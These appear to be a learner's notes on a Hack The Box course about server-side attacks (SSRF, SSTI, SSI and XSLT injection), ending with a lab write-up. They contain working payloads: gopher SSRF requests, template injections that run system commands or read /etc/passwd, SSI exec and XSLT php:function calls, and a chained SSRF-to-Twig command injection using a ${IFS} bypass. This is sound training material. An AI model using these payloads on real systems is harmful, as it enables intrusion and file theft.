While this module expands quite a bit on SSRF, it’s very introductory on the remaining vulnerability. It is not the most interesting nor the most in depth you’ll see among other modules.

Introduction

Introduction to Server-side Attacks


The article should be self-sufficient

SSRF

Introduction to SSRF


Check SSRF note on the vulnerability. First reflex when seeing exposed parameters using these schemes should be to look if an SSRF is exploitable :

  • http://
  • https://
  • file://
  • gopher://

Identifying SSRF


The section is very similar to SSRF labs by Portswigger.

Confirmation

Setting up a listener on an exposed IP (an available one if you’re connected to the network). Try to trigger a request and examine if you receive anything on the listener.

Enumeration through SSRF

If you’re able to receive an indication of open/close port by inserting something like 127.0.0.1:81 you can potentially enumerate active services or atleast which port are used. Enumerate using Ffuf, Burpsuite intruder etc…

Example of Ffuf enumeration :

ffuf -w ./ports.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"

Questions

Exploiting SSRF


Restricted Endpoints

One of the advantages of SSRF is to use the vulnerable server to reach internal resources. Trying to reach the revealed endpoint from the request will either end up in a refused connection or simply the inability to reach it if it’s in an internal network.

We can fuzz over the exposed endpoint as taught in Web Fuzzing through the request body in ffuf or Intruder. The principle is the same but we’re using the vulnerable server as our relay.

Command example to embed fuzzing in body content :

ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80"

New learning material

The following part of the course clearly drifts from the content mentioned in the Portswigger SSRF labs.

Local File Inclusion

If changing the scheme is allowed by the server, we can try to get an LFI by reading through the filesystem. This is further explored in the File Inclusion module but it shows how SSRF can have a wide scope of applications.

Using gopher

Gopher can be used to send POST request since the http scheme can only serve for GET requests. Inspecting responses from the internal resources can show forms that we could trigger through the Web-server. Assuming an example POST request :

POST /admin.php HTTP/1.1
Host: dateserver.htb
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
 
adminpw=admin

The gopher payload would look like this.

gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin

Since this needs to go through a first URL-Decode with our HTTP request, we need to URL-encode twice since we have a POST request in a POST request body :

POST /index.php HTTP/1.1
Host: 172.17.0.2
Content-Length: 265
Content-Type: application/x-www-form-urlencoded
 
dateserver=gopher%3a//dateserver.htb%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520dateserver.htb%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01

This process is explained here for an HTTP server though it can be adapted to other services with different protocols. Check and use Gopherus to automate the payload creation process. Since it uses python2, an fork written again using python3 was made and is available as Gopherus3. We can use that for example through SMTP as shown by the tool demonstration on HTB :

python2.7 gopherus.py --exploit smtp
 
  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/
 
                author: $_SpyD3r_$
 
 
Give Details to send mail: 
 
Mail from :  attacker@academy.htb
Mail To :  victim@academy.htb
Subject :  HelloWorld
Message :  Hello from SSRF!
 
Your gopher link is ready to send Mail: 
 
gopher://127.0.0.1:25/_MAIL%20FROM:attacker%40academy.htb%0ARCPT%20To:victim%40academy.htb%0ADATA%0AFrom:attacker%40academy.htb%0ASubject:HelloWorld%0AMessage:Hello%20from%20SSRF%21%0A.
 
-----------Made-by-SpyD3r-----------

Questions

Blind SSRF


SSRF don’t always allow to obtain any response directly from our request. This module is not very enlightening. It shows how you can deduce information through response change, and how the previous context gained from enumeration is possibly not available anymore.

The methodology is to try to trigger invalid requests expecting a different response from the target. Even if we don’t retrieve any content we can pinpoint if something is “here” anyway.

Preventing SSRF


Check the vulnerability note on the remediation section.

The article should be self-sufficient

SSTI

Template Engines


The article should be self-sufficient

Look for example of template engines like Jinja or Twig.

Introduction to SSTI


The article should be self-sufficient

Check Server-side Template Injection vulnerability note.

Identifying SSTI


Before looking for SSTI, you should have done some footprinting to check for the most information related to the Web-app stack such as language used, server version, framework etc… to spare most time possible and avoid doing checks for incompatible template engines.

Note however that this string is useful to test SSTI for most template engine, (but it won’t necessarily be the most accurate) ${{<\%[%'"}}%\. This payload is prone to triggering errors thus revealing vulnerabilities. Since HTB shamelessly copied the Portswigger I just used the latter picture to illustrate the search for the correct template engine :

Btw the image itself doesn’t specify the output you should expect. Differentiate Jinja2 from Twig by the result ; Jinja2 output would be 7777 while Twig would be 49.

Questions

Exploiting SSTI - Jinja2


Cheatsheet of the most common utilities to inject with the vulnerability :

{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}

Use builtins from python in the template engine

{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

Command execution through usual import system functions

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Questions

Exploiting SSTI - Twig


Same process than for Jinja2.

Template information retrieval

{{ _self }}

LFI through SSTI

{{ "/etc/passwd"|file_excerpt(1,-1) }}

RCE through SSTI

{{ ['id'] | filter('system') }}

Questions

SSTI Tools of the Trade & Preventing SSTI


SSTImap helps identifying SSTI both for pentesting and checking.

Prevention should be done by disabling system function, isolating the environment from the server using containerization or isolation. Input should be sanitized.

SSI Injection

Introduction to SSI Injection


SSI stands for Server-Side Includes. The whole goal of SSI is to insert dynamic generated content inside a static page. Both Apache and IIS can use this technology by embedding specific commands in usual HTML comments like such :

<!--#name param1="value1" param2="value" -->

Interesting commands

printenv

<!--#printenv -->

echo

<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->

exec (potential RCE)

<!--#exec cmd="whoami" -->

include (LFI)

<!--#include virtual="index.html" -->

Questions

Prevention SSI Injection


The article should be self-sufficient

XSLT Injection

Introduction to XSLT Injection


XSLT stands for eXtensible Stylesheet Language Transformation. It reads off XML data to retrieve specific content based on parameters.

  • <xsl:template>: This element indicates an XSL template. It can contain a match attribute that contains a path in the XML document that the template applies to
  • <xsl:value-of>: This element extracts the value of the XML node specified in the select attribute
  • <xsl:for-each>: This element enables looping over all XML nodes specified in the select attribute
  • <xsl:sort>: This element specifies how to sort elements in a for loop in the select argument. Additionally, a sort order may be specified in the order argument
  • <xsl:if>: This element can be used to test for conditions on a node. The condition is specified in the test argument.

File example using XSL tools :

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template match="/fruits">
		Here are all fruits of medium size ordered by their color:
		<xsl:for-each select="fruit">
			<xsl:sort select="color" order="descending" />
			<xsl:if test="size = 'Medium'">
				<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
			</xsl:if>
		</xsl:for-each>
	</xsl:template>
</xsl:stylesheet>

Not much more to elaborate on the topic, see more on the injection part.

Exploiting XSLT Injection


Identifying XSLT Injection

Insert broken XML tag <: to try to trigger an error on the server side. If we get one, we have a probable XSLT Injection.

Many functions exists and some are useful to get some information such as version, used lib …

Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />

Local File Inclusion (LFI)

Reading file using unparsed-text :

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

XSLT injecton using php functions :

<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

This example can be applied for RCE :

<xsl:value-of select="php:function('system','id')" />

Questions

Preventing XSLT Injection


TL;DR

HTML encoding converts < > respectively to &lt; &gt; and prevent the injection.

Server-Side Attacks - Skills Assessment


I don’t know if this is the expected way to solve the lab, but the command injections module should be done before this one and applied to validate the assessment without any difficulty.

I started by exploring the very restricted app and directly noticed the 3 POST requests sent with an API parameter calling an internal resource :

We can potentially exploit an SSRF off that and sending a request to localhost reveals the field is indeed manipulable. A sane request returns the server response instead of the id value and an incorrect one gives us an error. Note that the same reasoning is applicable to the internal server.

Correct request :

POST / HTTP/1.1
Host: 94.237.120.233:31096
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://94.237.120.233:31096
Connection: keep-alive
Referer: http://94.237.120.233:31096/
X-PwnFox-Color: blue
 
api=http://localhost:80/?id%3DFusionExpress01

The enumeration on all ports of both the server and the internal one allowed me to identify open ports though it’s not particularly relevant for this assessment (this would be noted otherwise). The use of other protocols than http such as file and gopher are disabled by the server so we won’t be able to exploit much more by itself on the discovered ports.

However, the fuzzing on the internal server files revealed some interesting results :

Here we can enumerate the files through the vendor directory, effectively discovering the server is using PHP with symfony framework and twig as a template engine. Note that fetching a file instead of a directory only returns a Status Code 200 so we won’t get further than enumerating the file structure from the vendor path. However this is already everything we need since now we can try to exploit an SSTI on the resource.

If you followed the context carefully, the POST request we are dissecting is also using an id parameter followed by the “name of the truck” in the scenario. The next step is to try to inject something looking for an SSTI on twig. A simple {{_self}} effectively triggers the vulnerability and now comes the fun part.

We’re that close to the flag, now we need to inject a command by enumerating the server files and then catenating the flag. However, spaces URL-encoded or not will trigger an illegal character, so no command with parameter possible ??

Actually ☝️🤓 it’s not a problem if you’ve done the command injections module and try some bypasses such as ${IFS} instead of a space. The whole learning process just started to click and the satisfaction of using the previously learned content in this module is incommensurable. (That’s what it’s all about in the end right ?).

After using different requests to identify the flag, we can finally retrieve it using the following request :

POST / HTTP/1.1
Host: 94.237.120.233:31096
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Origin: http://94.237.120.233:31096
Connection: keep-alive
Referer: http://94.237.120.233:31096/
X-PwnFox-Color: blue
 
api=http://truckapi.htb/?id%3D{{['cat${IFS}/flag.txt']|filter('system')}}

The server’s response is the following :

HTTP/1.1 200 OK
Date: Mon, 12 Jan 2026 21:21:23 GMT
Server: Apache/2.4.62 (Debian)
Vary: Accept-Encoding
Content-Length: 83
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
 
{"id": "HTB{3b8e2b940775e0267ce39d7c80488fc8}Array", "location": "134 Main Street"}

And with this the assessment is solved.